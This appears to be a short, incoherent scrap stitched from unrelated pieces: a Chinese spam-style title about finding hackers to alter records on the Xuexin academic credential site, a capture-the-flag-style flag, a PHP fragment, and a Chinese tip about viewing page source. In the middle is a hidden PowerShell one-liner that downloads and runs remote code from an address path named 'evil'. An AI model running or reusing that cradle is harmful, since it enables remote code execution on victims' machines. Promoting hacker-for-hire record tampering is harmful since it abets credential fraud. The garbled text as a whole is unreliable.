「学信网个人注册_黑客交流群在哪找-找黑客改学信网」{h0w-d1d-y0u-fee1-l1ke-th3-sql1-eng1ne}powershell.exe -nop -w hidden -c“IEX（（new-object net.webclient）.downloadstring（'http://172.16.17.39:80/evil'））” $stmt->execute();$data=$_GET['data'];

ls 点击“View Source”检查网页源码。